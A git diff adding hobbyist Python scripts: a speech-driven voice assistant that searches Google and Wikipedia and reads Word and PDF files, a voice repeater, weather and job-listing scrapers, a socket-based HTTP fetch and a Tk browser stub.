greet("start") + print_menu() + while True: + query = hear().lower() + if "close" in query: + greet("end") + end += 1 + return 0 + elif "text to speech" in query: + tts() + time.sleep(4) + + elif ( + "search on google" in query + or "search google" in query + or "google" in query + ): + google_search() + time.sleep(10) + + elif ( + "search on wikipedia" in query + or "search wikipedia" in query + or "wikipedia" in query + ): + wiki_search() + time.sleep(10) + + elif "word" in query: + ms_word() + time.sleep(5) + + elif "book" in query: + pdf_read() + time.sleep(10) + + elif "speech to text" in query: + big_text() + time.sleep(5) + + else: + print("I could'nt understand what you just said!") + speak("I could'nt understand what you just said!") + + print( + "\nDo you want to continue? if yes then say " + + Fore.YELLOW + + '"YES"' + + Fore.WHITE + + " else say " + + Fore.YELLOW + + '"CLOSE PYTHON"' + ) + speak( + "Do you want to continue? if yes then say YES else say CLOSE PYTHON" + ) + qry = hear().lower() + if "yes" in qry: + print_menu() + elif "close" in qry: + greet("end") + return 0 + else: + speak("You didn't say a valid command. So I am continuing!") + continue + + elif "close" in q: + return 0 + else: + continue + + +main() diff --git a/VoiceAssistant/Project_Basic_struct/dictator.py b/VoiceAssistant/Project_Basic_struct/dictator.py new file mode 100644 index 00000000000..5b2d85ed918 --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/dictator.py @@ -0,0 +1,56 @@ +# from speakListen import hear +# from speakListen import long_hear +from speakListen import * + +from colorama import Fore + + +def big_text(): + print( + "By default, I will record your voice for 60 seconds.\nDo you want to change this default timing?" + ) + speak( + "By default, I will record your voice for 60 seconds.\nDo you want to change this default timing?" + ) + print(Fore.YELLOW + "Yes or No") + query = hear().lower() + + duration_time = 0 + + if "yes" in query or "es" in query or "ye" in query or "s" in query: + print( + "Please enter the time(in seconds) for which I shall record your speech - ", + end="", + ) + duration_time = int(input().strip()) + + print("\n") + else: + duration_time = 60 + speak(f"I will record for {duration_time} seconds!") + text = long_hear(duration_time) + print("\n" + Fore.LIGHTCYAN_EX + text) + + +def colours(): + text = "Colour" + print(Fore.BLACK + text) + print(Fore.GREEN + text) + print(Fore.YELLOW + text) + print(Fore.RED + text) + print(Fore.BLUE + text) + print(Fore.MAGENTA + text) + print(Fore.CYAN + text) + print(Fore.WHITE + text) + print(Fore.LIGHTBLACK_EX + text) + print(Fore.LIGHTRED_EX + text) + print(Fore.LIGHTGREEN_EX + text) + print(Fore.LIGHTYELLOW_EX + text) + print(Fore.LIGHTBLUE_EX + text) + print(Fore.LIGHTMAGENTA_EX + text) + print(Fore.LIGHTCYAN_EX + text) + print(Fore.LIGHTWHITE_EX + text) + + +# big_text() +# colours() diff --git a/VoiceAssistant/Project_Basic_struct/menu.py b/VoiceAssistant/Project_Basic_struct/menu.py new file mode 100644 index 00000000000..4261a3cf025 --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/menu.py @@ -0,0 +1,27 @@ +from rich.console import Console # pip3 install Rich +from rich.table import Table +from speakListen import * + + +def print_menu(): + """Display a table with list of tasks and their associated commands.""" + speak("I can do the following") + table = Table(title="\nI can do the following :- ", show_lines=True) + + table.add_column("Sr. No.", style="cyan", no_wrap=True) + table.add_column("Task", style="yellow") + table.add_column("Command", justify="left", style="green") + + table.add_row("1", "Speak Text entered by User", "text to speech") + table.add_row("2", "Search anything on Google", "Search on Google") + table.add_row("3", "Search anything on Wikipedia", "Search on Wikipedia") + table.add_row("4", "Read a MS Word(docx) document", "Read MS Word document") + table.add_row("5", "Convert speech to text", "Convert speech to text") + table.add_row("6", "Read a book(PDF)", "Read a book ") + table.add_row("7", "Quit the program", "Python close") + + console = Console() + console.print(table) + + +# print_menu() diff --git a/VoiceAssistant/Project_Basic_struct/speakListen.py b/VoiceAssistant/Project_Basic_struct/speakListen.py new file mode 100644 index 00000000000..a28f67c2218 --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/speakListen.py @@ -0,0 +1,182 @@ +import time +from colorama import Fore +import speech_recognition as sr +import pyttsx3 +import datetime +from rich.progress import Progress + + +python = pyttsx3.init("sapi5") # name of the engine is set as Python +voices = python.getProperty("voices") +# print(voices) +python.setProperty("voice", voices[1].id) +python.setProperty("rate", 140) + + +def speak(text): + """[This function would speak aloud some text provided as parameter] + + Args: + text ([str]): [It is the speech to be spoken] + """ + python.say(text) + python.runAndWait() + + +def greet(g): + """Uses the datetime library to generate current time and then greets accordingly. + + + Args: + g (str): To decide whether to say hello or good bye + """ + if g == "start" or g == "s": + h = datetime.datetime.now().hour + text = "" + if h > 12 and h < 17: + text = "Hello ! Good Afternoon " + elif h < 12 and h > 0: + text = "Hello! Good Morning " + elif h >= 17: + text = "Hello! Good Evening " + text += " I am Python, How may i help you ?" + speak(text) + + elif g == "quit" or g == "end" or g == "over" or g == "e": + text = "Thank you!. Good Bye ! " + speak(text) + + +def hear(): + """[It will process the speech of user using Google_Speech_Recognizer(recognize_google)] + + Returns: + [str]: [Speech of user as a string in English(en - IN)] + """ + r = sr.Recognizer() + """Reconizer is a class which has lot of functions related to Speech i/p and o/p. + """ + r.pause_threshold = ( + 1 # a pause of more than 1 second will stop the microphone temporarily + ) + r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. + r.dynamic_energy_threshold = ( + True # pyhton now can dynamically change the threshold energy + ) + + with sr.Microphone() as source: + # read the audio data from the default microphone + print(Fore.RED + "\nListening...") + # time.sleep(0.5) + + speech = r.record(source, duration=9) # option + # speech = r.listen(source) + # convert speech to text + try: + # print("Recognizing...") + recognizing() + speech = r.recognize_google(speech) + print(speech + "\n") + + except Exception as exception: + print(exception) + return "None" + return speech + + +def recognizing(): + """Uses the Rich library to print a simulates version of "recognizing" by printing a loading bar.""" + with Progress() as pr: + rec = pr.add_task("[red]Recognizing...", total=100) + while not pr.finished: + pr.update(rec, advance=1.0) + time.sleep(0.01) + + +def long_hear(duration_time=60): + """[It will process the speech of user using Google_Speech_Recognizer(recognize_google)] + the difference between the hear() and long_hear() is that - the + hear() - records users voice for 9 seconds + long_hear() - will record user's voice for the time specified by user. By default, it records for 60 seconds. + Returns: + [str]: [Speech of user as a string in English(en - IN)] + """ + r = sr.Recognizer() + """Reconizer is a class which has lot of functions related to Speech i/p and o/p. + """ + r.pause_threshold = ( + 1 # a pause of more than 1 second will stop the microphone temporarily + ) + r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. + r.dynamic_energy_threshold = ( + True # pyhton now can dynamically change the threshold energy + ) + + with sr.Microphone() as source: + # read the audio data from the default microphone + print(Fore.RED + "\nListening...") + # time.sleep(0.5) + + speech = r.record(source, duration=duration_time) # option + # speech = r.listen(source) + # convert speech to text + try: + print(Fore.RED + "Recognizing...") + # recognizing() + speech = r.recognize_google(speech) + # print(speech + "\n") + + except Exception as exception: + print(exception) + return "None" + return speech + + +def short_hear(duration_time=5): + """[It will process the speech of user using Google_Speech_Recognizer(recognize_google)] + the difference between the hear() and long_hear() is that - the + hear() - records users voice for 9 seconds + long_hear - will record user's voice for the time specified by user. By default, it records for 60 seconds. + Returns: + [str]: [Speech of user as a string in English(en - IN)] + """ + r = sr.Recognizer() + """Reconizer is a class which has lot of functions related to Speech i/p and o/p. + """ + r.pause_threshold = ( + 1 # a pause of more than 1 second will stop the microphone temporarily + ) + r.energy_threshold = 300 # python by default sets it to 300. It is the minimum input energy to be considered. + r.dynamic_energy_threshold = ( + True # pyhton now can dynamically change the threshold energy + ) + + with sr.Microphone() as source: + # read the audio data from the default microphone + print(Fore.RED + "\nListening...") + # time.sleep(0.5) + + speech = r.record(source, duration=duration_time) # option + # speech = r.listen(source) + # convert speech to text + try: + print(Fore.RED + "Recognizing...") + # recognizing() + speech = r.recognize_google(speech) + # print(speech + "\n") + + except Exception as exception: + print(exception) + return "None" + return speech + + +if __name__ == "__main__": + # print("Enter your name") + # name = hear() + # speak("Hello " + name) + # greet("s") + # greet("e") + pass + # hear() + # recognizing() diff --git a/VoiceAssistant/Project_Basic_struct/speechtotext.py b/VoiceAssistant/Project_Basic_struct/speechtotext.py new file mode 100644 index 00000000000..e73a55eaf32 --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/speechtotext.py @@ -0,0 +1,14 @@ +import speech_recognition as sr + +# initialize the recognizer +r = sr.Recognizer() + + +def stt(): + with sr.Microphone() as source: + # read the audio data from the default microphone + audio_data = r.record(source, duration=5) + print("Recognizing...") + # convert speech to text + text = r.recognize_google(audio_data) + print(text) diff --git a/VoiceAssistant/Project_Basic_struct/textRead.py b/VoiceAssistant/Project_Basic_struct/textRead.py new file mode 100644 index 00000000000..bd0d147121b --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/textRead.py @@ -0,0 +1,347 @@ +from speakListen import hear +from speakListen import speak +import docx +import fitz +import time +from rich.console import Console # pip3 install Rich +from rich.table import Table +from colorama import Fore + + +def ms_word(): + """[Print and speak out a ms_word docx file as specified in the path]""" + # TODO : Take location input from the user + try: + speak("Enter the document's location - ") + location = input("Enter the document's location - ") + + file_loc = doubleslash(location) + + doc = docx.Document(file_loc) + fullText = [] + for para in doc.paragraphs: + fullText.append(para.text) + # print(fullText) + doc_file = "\n".join(fullText) + print(doc_file) + speak(doc_file) + except Exception as exp: + # print(exp) + print(f"ERROR - {exp}") + print( + Fore.YELLOW + + "I could'nt locate the file!\nIf you didn't specify the extension of the file, please specify it." + ) + return "None" + + +def pdf_read(): + """[Print and speak out the pdf on specified path]""" + try: + speak("Enter the document's location - ") + location = input("Enter the document's location - ") + + path = doubleslash(location) + pdf = fitz.open(path) + details = pdf.metadata # Stores the meta-data which generally includes Author name and Title of book/document. + total_pages = pdf.pageCount # Stores the total number of pages + + except Exception as exp: + print(f"ERROR - {exp}") + print( + Fore.YELLOW + + "I could'nt locate the file!\nIf you didn't specify the extension of the file, please specify it." + ) + return "None" + try: + """ 1. Author + 2. Creator + 3. Producer + 4. Title """ + + author = details["author"] + # print("Author : ",author) + + title = details["title"] + # print("Title : ",title) + + # print(details) + # print("Total Pages : ",total_pages) + book_details(author, title, total_pages) + speak(f" Title {title}") + speak(f" Author {author}") + speak(f" Total Pages {total_pages}") + + # TODO : Deal with the Index + toc = pdf.get_toc() + print( + "Say 1 or \"ONLY PRINT INDEX\" - if you want me to print the book's index.\nSay 2 if you want me to print and make me speak out the book's index.\nSay any key if you don't want to print the index.'" + ) + speak( + "Say 1 or only print index if you want me to print the book's index.\nSay 2 if you want me to print and make me speak out the book's index.\nSay any key if you don't want to print the index.'" + ) + q = hear().lower() + + if ( + "only print" in q + or "1" in q + or "one" in q + or "vone" in q + or "only" in q + or "index only" in q + or "only" in q + or "print only" in q + ): + print_index(toc) + time.sleep(15) + elif "speak" in q or "2" in q or "two" in q: + print_n_speak_index(toc) + time.sleep(10) + elif q == "None": + print("I could'nt understand what you just said!") + speak("I could'nt understand what you just said!") + time.sleep(4) + else: + time.sleep(4) + pass + + """Allow the user to do the following + 1. Read/speak a page + 2. Read/speak a range of pages + 3. Lesson + 4. Read/speak a whole book + """ + + # time.sleep(5) + + print( + "____________________________________________________________________________________________________________" + ) + print( + "1. Print/speak a single page\n2. Print/speak a range of pages\n3. Print/speak a Lesson\n4. Read/speak a whole book" + ) + speak( + "1. Print/speak a single page\n2. Print/speak a range of pages\n3. Print/speak a Lesson\n4. Read/speak a whole book" + ) + q = hear().lower() + if ( + "single" in q + or "one" in q + or "vone" in q + or "one page" in q + or "vone page" in q + or "1 page" in q + ): + try: + pgno = int(input("Page Number - ")) + + page = pdf.load_page(pgno - 1) + text = page.get_text("text") + print("\n\n") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + except Exception: + print( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) + speak( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) + pgno = input("Page no. - ") + page = pdf.load_page(pgno - 1) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + + elif "range" in q or "multiple" in q: + try: + start_pg_no = int(input("Starting Page Number - ")) + end_pg_no = int(input("End Page Number - ")) + for i in range(start_pg_no - 1, end_pg_no): + page = pdf.load_page(i) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + except Exception: + print( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) + speak( + "Sorry, I could recognize what you entered. Please re-enter the Page Number." + ) + start_pg_no = int(input("Starting Page Number - ")) + end_pg_no = int(input("End Page Number - ")) + for i in range(start_pg_no - 1, end_pg_no - 1): + page = pdf.load_page(i) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + + elif "lesson" in q: + try: + key = input("Lesson name - ") + start_pg_no, end_pg_no = search_in_toc(toc, key, total_pages) + if start_pg_no != None and end_pg_no != None: + start_pg_no, end_pg_no = map( + int, search_in_toc(toc, key, total_pages) + ) + + for i in range(start_pg_no - 1, end_pg_no): + page = pdf.load_page(i) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + else: + print("Try Again.") + speak("Try Again.") + speak("Lesson name") + key = input("Lesson name - ") + start_pg_no, end_pg_no = map( + int, search_in_toc(toc, key, total_pages) + ) + if start_pg_no != None and end_pg_no != None: + for i in range(start_pg_no - 1, end_pg_no): + page = pdf.load_page(i) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + + except Exception: + print("Try Again! Lesson could not be found.") + speak("Try Again.Lesson could not be found") + speak("Lesson name") + key = input("Lesson name - ") + start_pg_no, end_pg_no = search_in_toc(toc, key, total_pages) + if start_pg_no != None and end_pg_no != None: + start_pg_no, end_pg_no = map( + int, search_in_toc(toc, key, total_pages) + ) + + for i in range(start_pg_no - 1, end_pg_no): + page = pdf.load_page(i) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + else: + print("Sorry, I cannot find the perticular lesson.") + speak("Sorry, I cannot find the perticular lesson.") + + elif "whole" in q or "complete" in q: + for i in range(total_pages): + page = pdf.load_page(i) + text = page.get_text("text") + print(text.replace("\t", " ")) + speak(text.replace("\t", " ")) + + elif q == "None": + print("I could'nt understand what you just said!") + speak("I could'nt understand what you just said!") + else: + print("You didn't say a valid command!") + time.sleep(5) + except Exception as e: + print(e) + pass + pdf.close() + + +def doubleslash(text): + """Replaces / with // + + Args: + text (str): location + + Returns: + str: formatted location + """ + return text.replace("\\", "\\\\") + + +def print_index(toc): + """Prints out the index in proper format with title name and page number + + Args: + toc (nested list): toc[1] - Topic name + toc[2] - Page number + """ + dash = "-" * (100 - 7) + space = " " * 47 + print(f"{space}INDEX") + print(f"\n\nName : {dash} PageNo.\n\n\n") + for topic in toc: + eq_dash = "-" * (100 - len(topic[1])) + print(f"{topic[1]} {eq_dash} {topic[2]}") + + +def print_n_speak_index(toc): + """Along with printing, it speaks out the index too. + + Args: + toc (nested list): toc[1] - Topic name + toc[2] - Page number + """ + dash = "-" * (100 - 7) + space = " " * 47 + print(f"{space}INDEX") + print(f"\n\nName : {dash} PageNo.\n\n\n\n") + for topic in toc: + eq_dash = "-" * (100 - len(topic[1])) + print(f"{topic[1]} {eq_dash} {topic[2]}") + speak(f"{topic[1]} {topic[2]}") + + +def search_in_toc(toc, key, totalpg): + """Searches a particular lesson name provided as a parameter in toc and returns its starting and ending page numbers. + + Args: + toc (nested list): toc[1] - Topic name + toc[2] - Page number + key (str): the key to be found + totalpg (int): total pages in book/document + + Returns: + int: staring and ending page numbers of lesson found. + If not found then return None + """ + for i in range(len(toc) - 1): + topic = toc[i] + if i != len(toc) - 2: + if topic[1] == key: + nexttopic = toc[i + 1] + return (topic[2], nexttopic[2]) + elif topic[1].lower() == key: + nexttopic = toc[i + 1] + return (topic[2], nexttopic[2]) + else: + if topic[1] == key: + return (topic[2], totalpg) + elif topic[1].lower() == key: + return (topic[2], totalpg) + return None, None + + +def book_details(author, title, total_pages): + """Creates a table of book details like author name, title, and total pages. + + Args: + author (str): Name of author + title (str): title of the book + total_pages (int): total pages in the book + """ + table = Table(title="\nBook Details :- ", show_lines=True) + + table.add_column("Sr. No.", style="magenta", no_wrap=True) + table.add_column("Property", style="cyan") + table.add_column("Value", justify="left", style="green") + + table.add_row("1", "Title", f"{title}") + table.add_row("2", "Author", f"{author}") + table.add_row("3", "Pages", f"{total_pages}") + + console = Console() + console.print(table) + + +# ms_word() +# pdf_read() +# book_details("abc", "abcde", 12) diff --git a/VoiceAssistant/Project_Basic_struct/websiteWork.py b/VoiceAssistant/Project_Basic_struct/websiteWork.py new file mode 100644 index 00000000000..e00aa89022d --- /dev/null +++ b/VoiceAssistant/Project_Basic_struct/websiteWork.py @@ -0,0 +1,70 @@ +from speakListen import hear +from speakListen import speak + + +""" 1. speakListen.speak(text) + 2. speakListen.greet() + 3. speakListen.hear() +""" +import wikipedia +import webbrowser + + +def google_search(): + """[Goes to google and searches the website asked by the user]""" + google_search_link = "https://www.google.co.in/search?q=" + google_search = "What do you want me to search on Google? " + print(google_search) + speak(google_search) + + query = hear() + + if query != "None": + webbrowser.open(google_search_link + query) + elif query == "None": + print("I could'nt understand what you just said!") + speak("I could'nt understand what you just said!") + + +def wiki_search(): + """[Speak out the summary in wikipedia and going to the website according to user's choice.]""" + wiki_search = "What do you want me to search on Wikipedia? Please tell me the exact sentence or word to Search." + wiki_search_link = "https://en.wikipedia.org/wiki/" + + print(wiki_search) + speak(wiki_search) + + query = hear() + try: + if query != "None": + results = wikipedia.summary(query, sentences=2) + print(results) + speak(results) + + print("Do you want me to open the Wikipedia page?") + speak("Do you want me to open the Wikipedia page?") + q = hear().lower() + + if ( + "yes" in q + or "okay" in q + or "ok" in q + or "opun" in q + or "opan" in q + or "vopen" in q + or "es" in q + or "s" in q + ): + print(wiki_search_link + query) + webbrowser.open(wiki_search_link + query) + + elif query == "None": + print("I could'nt understand what you just said!") + speak("I could'nt understand what you just said!") + + except Exception: + print("Couldn't find") + + +# wiki_search() +# google_search() diff --git a/VoiceAssistant/README.md b/VoiceAssistant/README.md new file mode 100644 index 00000000000..7e7fb7b5d22 --- /dev/null +++ b/VoiceAssistant/README.md @@ -0,0 +1,96 @@ + +# Voice Assistant +📑Website - https://sohamratnaparkhi.github.io/VoiceAssistant/ +
+🎇Please open the Project_Basic_struct folder to view the code!
+
+![VA](https://user-images.githubusercontent.com/92905626/155858792-9a217c3c-09dd-45ba-a952-f5799c0219d3.jpeg) + +This is Voice Assistant coded using Python which can do the following: - + + 1. Speak Text entered by User. + 2. Search anything on Google. + 3. Search anything on Wikipedia. + 4. Read a MS Word(docx) document. + 5. Convert speech to text. + 6. Read a book(PDF). + + + + +## Author + +- [@SohamRatnaparkhi](https://github.com/SohamRatnaparkhi) + + +### Table of Contents +- [Installation](#installation) +- [How To Use](#how-to-use) +- [Description of Commands](#description-of-commands) +- [Tech used](#tech-used) +- [Methodolgy](#methodolgy) + +## Installation +Download - https://github.com/SohamRatnaparkhi/Voice-Assistant/releases/tag/v1.0.0 + +Download the rar file. + + 1. Extract the folder. + 2. Open VoiceAssistant folder. + 3. Double-click on the file _1_VoiceAssistant for using it. +In-case, if you don't find _1_VoiceAssistant in Voice Assistant folder, just install the executable(.exe) file AND SAVE IT IN VoiceAssistant FOLDER. It is advisable to run the (.exe) file in the VoiceAssistant folder; else the file won't run. +## How To Use +- Saying "Hello Python" will activate the Voice Assistant. +- Then the table that will be displayed on the screen shows the tasks that Voice Assistant can do. +- Saying the respective commands of the task that is intended will enable the Voice Assistant to do those tasks. +## Screenshots + +![Voice Assistant](https://user-images.githubusercontent.com/92905626/155857729-58a7751a-cb63-48ee-9df5-3a4ee4129a25.JPG) + + + +## Description of Commands +1. text to speech - User needs to type the text and then it will be spoken by the VoiceAssistant. +2. Search on Google - Voice Assistant will ask you "What do you want me to search on Google". + + >Voice Assistant then starts recording your voice and will record anything that is spoken henceforth. + >Then it will open the search results in default browser. +3. Search on Wikipedia - Voice Assistant will ask you "What do you want me to search on Wikipwedia? please say the exactsentence or word to search.". + + >Voice Assistant then starts recording your voice and will record anything that is spoken henceforth. + >Then it will speak out and print the summary of the search results. + >It then asks, whether the respective search result should be opened in the default browser. + +4. Read MS word document - Asks user to enter the location of file to be read and reads it. + + NOTE :- + 1. A file location without an extension(i.e. '.docx') will give an error. + 2. A file inside a third party folder(Ex OneDrive) can't be accessed and will give an error. + +5. Convert speech to text - Prints out the speech spoken by user. + + By default, it record the voice for 60 seconds but it can be changed. + +6. Read a book - Asks user to enter the location of file to be read and reads it. + + NOTE :- + 1. A file location without an extension(i.e. '.pdf') will give an error. + 2. A file inside a third party folder(Ex. OneDrive) can't be accessed and will give an error. + +## Tech Used + +**Language:** Python + + + + +## Methodolgy +![VA Methodolgy](https://user-images.githubusercontent.com/92905626/155858712-c0274bc3-03c7-47de-bb7f-c4a2989144c6.JPG) + +For more information, follow the given links -

+ https://github.com/SohamRatnaparkhi/Voice-Assistant/blob/master/DOCUMENTATION.md
+ https://github.com/SohamRatnaparkhi/Voice-Assistant/blob/master/GUIDE.md
+ https://github.com/SohamRatnaparkhi/Voice-Assistant/blob/master/PRE-REQUISITES.md
+ + + THANK YOU! diff --git a/VoiceRepeater/__main__.py b/VoiceRepeater/__main__.py new file mode 100644 index 00000000000..dc3e20a9739 --- /dev/null +++ b/VoiceRepeater/__main__.py @@ -0,0 +1,31 @@ +import time + +import speech_recognition as sr +import os +import playsound +import shutil + +shutil.rmtree("spoken") +os.mkdir("spoken") + +speeches = [] + + +def callback(recognizer, audio): + with open("spoken/" + str(len(speeches)) + ".wav", "wb") as file: + file.write(audio.get_wav_data()) + + playsound.playsound("spoken/" + str(len(speeches)) + ".wav") + speeches.append(1) + print("____") + + +r = sr.Recognizer() +m = sr.Microphone() +with m as source: + r.adjust_for_ambient_noise(source) + +stop_listening = r.listen_in_background(m, callback) +print("say:") +while True: + time.sleep(0.1) diff --git a/VoiceRepeater/readme.md b/VoiceRepeater/readme.md new file mode 100644 index 00000000000..725aa607cc9 --- /dev/null +++ b/VoiceRepeater/readme.md @@ -0,0 +1,11 @@ +# A simple Voice repeater. + +### Run the code and speak something: It will repeat exactly what you said! + +### It creates a folder, + +### Stores your speech as a sound file, + +### And plays it! + +### Requirements: Python, SpeechRecognition and playsound diff --git a/Weather Scrapper/weather.csv b/Weather Scrapper/weather.csv new file mode 100644 index 00000000000..4c067e23621 --- /dev/null +++ b/Weather Scrapper/weather.csv @@ -0,0 +1,8 @@ +City,Time,Date,Temperature,Precipitation,Sky,Wind +Manhatten,07:02,Tue 06/05,Low 71 F,Precipitate:30%,Isolated Thunderstorms,Winds light and variable +Manhattan,07:03,Wed 06/06,Low 47 F,Precipitate:10%,Partly Cloudy,Winds NE at 10 to 15 mph +Aligarh,07:03,Wed 06/06,High 109 F,Precipitate:20%,Partly Cloudy,Winds ENE at 10 to 15 mph +Delhi,07:03,Wed 06/06,High 107 F,Precipitate:40%,AM Thunderstorms,Winds E at 10 to 15 mph +Portland,02:20,Aug-21-2022,Low 61F,Precipitation:3%,A few clouds,Winds light and variable. +Washington,02:21,Aug-21-2022,High 83F,Precipitation:48%,Cloudy early with scattered thunderstorms developing this afternoon,Winds SSE at 5 to 10 mph +Guadalajara,02:21,Aug-21-2022,Scattered thunderstorms developing this afternoon,Precipitation:52%,Mostly cloudy this morning,High near 80F diff --git a/Weather Scrapper/weather.py b/Weather Scrapper/weather.py new file mode 100644 index 00000000000..788424522ac --- /dev/null +++ b/Weather Scrapper/weather.py @@ -0,0 +1,81 @@ +# TODO - refactor & clean code +import csv +import time +from datetime import datetime +from datetime import date +from selenium import webdriver +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.support import expected_conditions as EC +from selenium.webdriver.chrome.options import Options +from selenium.webdriver.common.action_chains import ActionChains +from selenium.webdriver.common.keys import Keys +from selenium.webdriver.common.by import By + +# TODO - Add input checking +city = input("City >") +state = input("State >") + +url = "https://www.wunderground.com" + +# Supresses warnings and specifies the webdriver to run w/o a GUI +options = Options() +options.headless = True +options.add_argument("log-level=3") +driver = webdriver.Chrome(options=options) + +driver.get(url) +# ----------------------------------------------------- +# Connected successfully to the site +# Passes the city and state input to the weather sites search box + +searchBox = driver.find_element(By.XPATH, '//*[@id="wuSearch"]') +location = city + " " + state + +action = ActionChains(driver) +searchBox.send_keys(location) +element = WebDriverWait(driver, 10).until( + EC.presence_of_element_located( + (By.XPATH, '//*[@id="wuForm"]/search-autocomplete/ul/li[2]/a/span[1]') + ) +) +searchBox.send_keys(Keys.RETURN) +# ----------------------------------------------------- +# Gather weather data +# City - Time - Date - Temperature - Precipitation - Sky - Wind + +# waits till the page loads to begin gathering data +precipitationElem = WebDriverWait(driver, 10).until( + EC.presence_of_element_located( + ( + By.XPATH, + '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[1]', + ) + ) +) +precipitationElem = driver.find_element( + By.XPATH, + '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[1]', +) +precip = "Precipitation:" + precipitationElem.text.split()[0] + +windAndSkyElem = driver.find_element( + By.XPATH, + '//*[@id="inner-content"]/div[3]/div[1]/div/div[3]/div/lib-city-today-forecast/div/div[1]/div/div/div/a[2]', +) +description = windAndSkyElem.text.split(". ") +sky = description[0] +temp = description[1] +wind = description[2] + +# Format the date and time +time = datetime.now().strftime("%H:%M") +today = date.today() +date = today.strftime("%b-%d-%Y") + +print(city, time, date, temp, precip, sky, wind) + +with open("weather.csv", "a") as new_file: + csv_writer = csv.writer(new_file) + csv_writer.writerow([city, time, date, temp, precip, sky, wind]) + +driver.close() diff --git a/WeatherGUI.py b/WeatherGUI.py new file mode 100644 index 00000000000..62a2fef6bf8 --- /dev/null +++ b/WeatherGUI.py @@ -0,0 +1,60 @@ +import tkinter as tk +import requests +from bs4 import BeautifulSoup +url = "https://weather.com/en-IN/weather/today/l/32355ced66b7ce3ab7ccafb0a4f45f12e7c915bcf8454f712efa57474ba8d6c8" +root = tk.Tk() +root.title("Weather") +root.config(bg="white") +def getWeather(): + page = requests.get(url) + soup = BeautifulSoup(page.content, "html.parser") + location = soup.find("h1", class_="_1Ayv3").text + temperature = soup.find("span", class_="_3KcTQ").text + airquality = soup.find("text", class_="k2Z7I").text + airqualitytitle = soup.find("span", class_="_1VMr2").text + sunrise = soup.find("div", class_="_2ATeV").text + sunset = soup.find("div", class_="_2_gJb _2ATeV").text + # humidity = soup.find('div',class_='_23DP5').text + wind = soup.find("span", class_="_1Va1P undefined").text + pressure = soup.find("span", class_="_3olKd undefined").text + locationlabel.config(text=(location)) + templabel.config(text=temperature + "C") + WeatherText = ( + "Sunrise : " + + sunrise + + "\n" + + "SunSet : " + + sunset + + "\n" + + "Pressure : " + + pressure + + "\n" + + "Wind : " + + wind + + "\n" + ) + weatherPrediction.config(text=WeatherText) + airqualityText = airquality + " " * 5 + airqualitytitle + "\n" + airqualitylabel.config(text=airqualityText) + + weatherPrediction.after(120000, getWeather) + root.update() + + +locationlabel = tk.Label(root, font=("Calibri bold", 20), bg="white") +locationlabel.grid(row=0, column=1, sticky="N", padx=20, pady=40) + +templabel = tk.Label(root, font=("Caliber bold", 40), bg="white") +templabel.grid(row=0, column=0, sticky="W", padx=17) + +weatherPrediction = tk.Label(root, font=("Caliber", 15), bg="white") +weatherPrediction.grid(row=2, column=1, sticky="W", padx=40) + +tk.Label(root, text="Air Quality", font=("Calibri bold", 20), bg="white").grid( + row=1, column=2, sticky="W", padx=20 +) +airqualitylabel = tk.Label(root, font=("Caliber bold", 20), bg="white") +airqualitylabel.grid(row=2, column=2, sticky="W") + +getWeather() +root.mainloop() diff --git a/Web Socket.py b/Web Socket.py new file mode 100644 index 00000000000..9c3c91beafa --- /dev/null +++ b/Web Socket.py @@ -0,0 +1,13 @@ +# Program to print a data & it's Metadata of online uploaded file using "socket". +import socket +skt_c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +skt_c.connect(("data.pr4e.org", 80)) +link = "GET http://data.pr4e.org/intro-short.txt HTTP/1.0\r\n\r\n".encode() +skt_c.send(link) + +while True: + data = skt_c.recv(512) + if len(data) < 1: + break + print(data.decode()) +skt_c.close() diff --git a/Web_Scraper.py b/Web_Scraper.py new file mode 100644 index 00000000000..b489b54096d --- /dev/null +++ b/Web_Scraper.py @@ -0,0 +1,39 @@ +""" +Author: Chayan Chawra +git: github.com/Chayan-19 +Requirements: selenium, BeautifulSoup +""" + +from bs4 import BeautifulSoup +from selenium import webdriver +import time + +# url of the page we want to scrape +url = "https://www.naukri.com/top-jobs-by-designations# desigtop600" + +# initiating the webdriver. Parameter includes the path of the webdriver. +driver = webdriver.Chrome("./chromedriver") +driver.get(url) + +# this is just to ensure that the page is loaded +time.sleep(5) + +html = driver.page_source + +# this renders the JS code and stores all +# of the information in static HTML code. + +# Now, we could simply apply bs4 to html variable +soup = BeautifulSoup(html, "html.parser") +all_divs = soup.find("div", {"id": "nameSearch"}) +job_profiles = all_divs.find_all("a") + +# printing top ten job profiles +count = 0 +for job_profile in job_profiles: + print(job_profile.text) + count = count + 1 + if count == 10: + break + +driver.close() # closing the webdriver diff --git a/Webbrowser/tk-browser.py b/Webbrowser/tk-browser.py new file mode 100644 index 00000000000..fc8b6ddebac --- /dev/null +++ b/Webbrowser/tk-browser.py @@ -0,0 +1,30 @@ +#!/usr/bin/python3 +# Webbrowser v1.0 +# Written by Sina Meysami +# + +from tkinter import * # pip install tk-tools +import tkinterweb # pip install tkinterweb +import sys + + +class Browser(Tk): + def __init__(self): + super(Browser, self).__init__() + self.title("Tk Browser") + try: + browser = tkinterweb.HtmlFrame(self) + browser.load_website("https://google.com") + browser.pack(fill="both", 